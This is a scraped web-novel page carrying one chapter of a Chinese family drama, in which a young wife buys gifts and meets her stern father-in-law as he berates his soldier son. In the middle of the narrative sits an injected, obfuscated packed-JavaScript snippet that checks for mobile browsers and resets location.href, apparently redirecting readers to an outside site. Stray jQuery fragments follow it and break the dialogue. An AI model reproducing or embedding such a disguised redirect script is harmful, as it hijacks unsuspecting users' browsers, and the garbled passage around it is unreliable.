默认冷灰
24号文字
方正启体

4. 间隙

作者:素笔执火本书字数:K更新时间:
    那女子说完,把手上刚刚才吃了一口的糖葫芦塞进了陈文拓的嘴巴里。


    “兰烟,你听我解释!”陈文拓看着人走远,急得跺了跺脚,转头问,“能否先赊账?我明日就来还。”


    容婳有些不敢相信,毕竟是长公主的亲儿子,身上怎么连五两银子也掏不出来?也难怪那个女子,会如此生气。


    “表兄!”陈文拓刚要走,听到身后有人叫自己,还是回了头。


    一看到是容婳,他紧皱的眉头顿时舒展开来,有些尴尬道,“弟妹,你怎么会在这里?”


    其实也不用多问,看徐掌柜手上捧着的衣服便知道了。


    “我和冬青在梅园赏梅,离这里很近,我和徐掌柜是老朋友了,所以过来讨杯茶喝。”容婳想着,怎么样才让对方太过尴尬,但好像用处不大。


    还不如一开始,视而不见的好。


    那一幕,陈文拓大概也觉得丢脸吧?可丢脸归丢脸,总归要去把人哄回来。


    他的心思都在兰烟身上,也是出于礼数才随口一问,目光朝着门外头,心都不知道飞哪里去了。


    “表兄还有急事,改日再聚,再聚。”说完,急匆匆走了。容婳见状,忙一旁的店小二把雪帽取下来了,追了上去。


    同为女子,容婳知道,没有雪帽,恐怕对方不会轻易原谅。


    陈文拓还没算走出去太远,或许是没看清兰烟往哪里方向去了,站在路旁东寻西找。


    看到容婳递过来的雪帽,陈文拓有些吃惊,“弟妹,这是?”


    “表兄答应了她,却没做到,换成是谁都会生气的,”容婳道,“我知道表兄不是心疼银两,毕竟这卖价确实高了些,张鹤之固然有名,可雪帽只是个御寒的物件,并非无可取代。”


    “我正是这个意思,”容婳说得,一下子就点到了陈文拓的心里,“其实这雪帽东西街都有卖,偏偏因为贴了锦绣坊的名,价格就翻了几番,我是有钱可我又不是傻子。”


    容婳笑道,“可是千金难买美人笑,初次见表兄,险些闹了笑话,也多亏表兄替我解围,所以就当是谢礼了,往日还请表兄多多关照,也祝表兄早日抱得美人归。”


    看出表兄已经急得火烧眉毛了,她迅速把话说完,抢先离开了。陈文拓本来有些犹豫,听她这么一说,又见她走远了,便也顾不得许多,说了句谢谢,赶忙寻人去了。


    回到绣坊,她把雪帽的银子递给徐掌柜,道了别,上了回府的马车。


    袄子有些沉,容婳揉了揉发酸的手腕,扶了扶额头,陈文拓心直口快,希望他不要把买衣服的事告诉谢辞恩吧……


    也只能是希望了,要真知道,灵机应变吧……


    冬青看着裙边上绣着的蝴蝶,开口道,“夫人,刚刚那顶雪帽要五两钱呢,瞧着和其他的也没什么分别……”


    连见过世面的冬青都忍不住感慨,三年没来,已经这样水涨船高了吗?


    容婳笑笑没说话。以前她不理解,为何总有商人不惜花重金求购这些名人遗作,现在看来还真是真金白银滚滚来。


    冬青见她没回话,凑过小半个身子,挨在耳边道,“奴婢刚刚听徐掌柜的说,陈公子也不是头一回这样,说是长公主管得紧,徒有世子的虚名,却没几个闲钱……”


    “冬青,”容婳打断她,“议论皇室,你不要命了?!”


    冬青脸色一白,没敢多嘴,默默把头低了下去。


    趁着人少,容婳让冬青把袄子从后门抱进屋子,自己则抱着新买的衣服,从大门走了进去。


    “少夫人回来了,”刚进门,就碰到在庭院里剪梅枝的香寒,冲容婳行礼,“三公子正找您呢!您买了新衣裳?”


    容婳点头,“是啊,二婶心疼我,非要给钱让我置办一身,我这心里还真过意不去。你说谢辞恩找我,他在哪?”


    香寒道,“有一会儿功夫了,约莫是在大老爷房中,少夫人快去吧……”


    从前院一直到后院,容婳都没有看见谢辞恩的身影,她想着或许不是什么紧要的事,既然在他父亲房中,必然是有要紧的事。她这个人,最怕遇见长辈了,能不去就不去吧……


    直到丫鬟们开始传晚膳了,还是没见着。谢老夫人上了年纪,喜清静,若非什么时节宴请,都是各房吃各房的。


    “少夫人,奴婢拣些菜,您去房中吃吧……”冬青眼看菜要凉,怕夫人饿肚子,开口说道。


    这餐饭本该是三个人,容婳却是一个人独自坐在桌前,她摆摆手,“我还是去找找吧……”


    兴许是忙忘了呢?再饿也不急一时,万一让谢家误以为她这么没规矩?自己倒没什么,就怕因此连累阿爹阿娘戳脊梁骨。


    本打算用完膳,再把袄子给各房送去。眼下倒是可以先给谢楚仁送去。想起香寒说的,容婳拿了袄子,径直往书房去了。


    谢楚仁坐在案牍前,看着谢辞恩新交上来的课业,眉头都快皱成了川字,他已经很努力在克制,否则手中的茶杯早就飞出去了。


    “你告诉我这是什么?”谢辞仁用手指了指,高声呵斥,“狗屁不通!你以为夺天下,安民心靠得是你手里的长枪吗?”


    “拿回去,重写!”


    “是,父亲。”谢辞恩来不及伸手,卷子就被洒了回来。他轻吁一口气,默默地把地上的卷子一一整理,也不多说什么,起身要往外走。


    “站住!”儿子的听话,在他看来却是无声息的反抗。谢楚仁情愿和他自己大吵一架,总好过沉默以对。


    父子之间的窗,一关就是很多年。


    其实也不是一开始就这样,谢辞恩记得小时候,他还是个慈爱的父亲,哪怕做错事也从不打骂,而是用前人的典故一点点耐心教化。转变大概是在七八年前,那个时候谢辞恩十三岁,舅舅来家里,给他耍了一次花枪,他便痴迷上了,且天赋异禀。


    谢楚仁不肯,后来在母亲的劝说下,终于有了让步。可六年前,母亲因病过世,谢楚仁悲恸过度,性情大变。要不是谢老夫人执意,谢辞恩也没机会随舅舅去军中历练。


    谢楚仁想走儿子仕途,于是隔阂越来越深。谢辞恩知道自己吵不赢父亲,自己在军中舞刀弄枪,看得是通俗易懂的兵法,哪里能说得过父亲的大道理?


    后来索性不吵了。


    连生闷气也都是躲回房中,偷偷生,连带养着的一只乌龟也遭了殃,每每被翻得四仰八叉不能回身。


    “父亲还有何吩咐?”谢辞恩问,一动不动地站着。


    “你跟舅舅去军中的这些日子,可还好?”谢楚仁觉得,毕竟许久未见,他这个做父亲的总该关心一下,兴许能让彼此之间冰释前嫌。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883380|176401||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    谢辞恩一直麻木着的鱼眼终于有了反应,惊喜道,“谢父亲关心,一切都好。”


    “我听说这场仗并不好打,”谢楚仁最见不得他给块糖就得瑟的样子,“没有连累你舅舅吧!”


    “哪有?”谢辞恩上前一步,从袖中掏出珍藏已久的箭矢,递到父亲跟前,“爹!你看,当初我带了八百骑兵冲入敌营,一箭射杀了他们的首领,这就是那只箭矢!舅舅还说若不是我,恐怕也没能这么破城,我没有爹想得那样柔弱不堪,更不会连累舅舅!”


    “就这区区一件小事,也值得你这般显摆,”谢楚仁毫无情面地泼了冷水,“不过夸了几句,还真当自己天赋异禀了么?!”


    谢楚仁越来越觉得当初的让步是错的,自己同意他去军中历练,却没想到把儿子越推越远,张口闭口都是舅舅,怕是早就不记得他这个父亲了。


    谢辞恩本以为父亲会夸赞几句,顿时泄了气,耷拉下眼眸,“所以父亲觉得,武将始终比不过文臣,是吗?父亲想光宗耀祖,为什么一定走仕途,勇冠三军,亦可为后世传颂!”


    毫无意外的谈崩了,谢楚仁站起身来在案牍旁转了又转,气得胡子发抖,“逆子!”


    “跪下!”或许是觉得不解气,谢楚仁随手抄起一本书,朝儿子身上砸了过去。


    谢辞恩本能地一躲,于是乎正好不偏不倚地砸在了刚进屋,容婳的身上。


    说不疼那是假的。


    气氛有些凝重,倒是谢楚仁先反应过来,意识到自己砸到了人还是儿媳妇,连忙转了脸色,紧张道,“小婳,你没事吧……”


    容婳摇摇头,看了一眼跪在地上的谢辞恩,就知道自己来得不是时候,可要想走已经晚了,“爹,我没事,不打紧。”


    “小婳,你找我有什么事啊?”见过谢楚仁严肃的模样,容婳一时间接受不了对方和蔼可亲。


    谢辞恩忍不住抬头看了一眼,不由地蹙起眉头。


    也没见对自己这般和善过。


    “正好过冬,我给爹买了件袄子,也不知道合不合身。”容婳说把袄子递给了谢楚仁。


    “合,怎么不合?!我瞧着就挺好!”谢楚仁笑得合不拢嘴,甚至都没看袄子,又把目光对向了地上的谢辞恩,“你看看小婳多懂事,这三年来她一直在寺庙里为你祈福,过得都是苦行僧的日子,你就不能像她一样,懂事些?”


    容婳有些尴尬的挠挠头,正巧谢辞恩也投来了目光。


    欲言又止。


    她就不该来,真不是有意要他难堪的。


    “小婳这袄子什么价钱买的?”谢楚仁被精细的做工给惊艳到,忍不住开口问。


    “五两……”容婳想了个能接受的价钱。


    “多少?!”谢楚仁觉得自己一定是听错了。


    谢辞恩又看了她一眼。


    “……”


    “一两……”容婳有些拿捏不定,也实在不知道该怎么开口了。


    谢楚仁的笑容有些僵硬,拍了拍袄子道,“价钱不重要,难得的是心意。”


    容婳本来想再说些什么推脱之词,可想到或许又会连累谢辞恩被骂,索性没多说什么。


    谢楚仁也不好当着容婳的面再去训斥儿子,摆摆手让他退了下去。容婳又说了几句关切问候的话,这才匆匆出了门,跟上谢辞恩。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)